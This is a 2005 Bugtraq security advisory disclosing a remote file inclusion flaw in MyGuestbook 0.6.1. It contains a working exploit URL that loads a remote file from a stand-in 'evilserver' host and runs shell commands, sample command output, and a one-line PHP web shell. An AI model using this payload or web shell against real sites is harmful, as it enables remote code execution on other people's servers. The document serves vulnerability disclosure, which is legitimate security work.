[39415] in bugtraq
MyGuestbook Remote File Inclusion.
daemon@ATHENA.MIT.EDU (group@soulblack.com.ar)
Tue Jul 5 17:29:31 2005
From: "group@soulblack.com.ar" <group@soulblack.com.ar>
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Date: Tue, 5 Jul 2005 17:23:10 -0200
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===========================================================
============================================================
Title: MyGuestbook Remote File Inclusion.
Vulnerability Discovery: SoulBlack - Security Research -
http://soulblack.com.ar
Date: 05/07/2005
Severity: High. Remote Users Can Execute Arbitrary Code.
Affected version: 0.6.1 (Only Tested in 0.6.1)
Vendor: http://html-design.com/
============================================================
============================================================
* Summary *
This is a simple MySQL based Guestbook.
-------------------------------------------------------------
* Problem Description *
The bug reside in form.inc.php3.
Vulnerable Code
<?
include("$lang.lang.inc.php3");
?>
/*
http://server/gb/form.inc.php3?lang=http://evilserver/cmd.gif?&cmd=id;uname%20-a;uptime
uid=99(nobody) gid=99(nobody) groups=99(nobody) Linux cyan-1.farm.de
2.4.18custom_ko_w_ipsec #10 Fre Apr 19 13:05:46 CEST 2002 i686 unknown 6:51pm
up 463 days, 15:43, 0 users, load average: 0.00, 0.01, 0.02
*/
/*
-------
cmd.gif
-------
<?
system($cmd);
?>
*/
-------------------------------------------------------------
-------------------------------------------------------------
* Fix *
Contact the Vendor.
-------------------------------------------------------------
* References *
http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.txt
-------------------------------------------------------------
* Credits *
Vulnerability reported by SoulBlack Security Research
============================================================
--
SoulBlack - Security Research
http://www.soulblack.com.ar
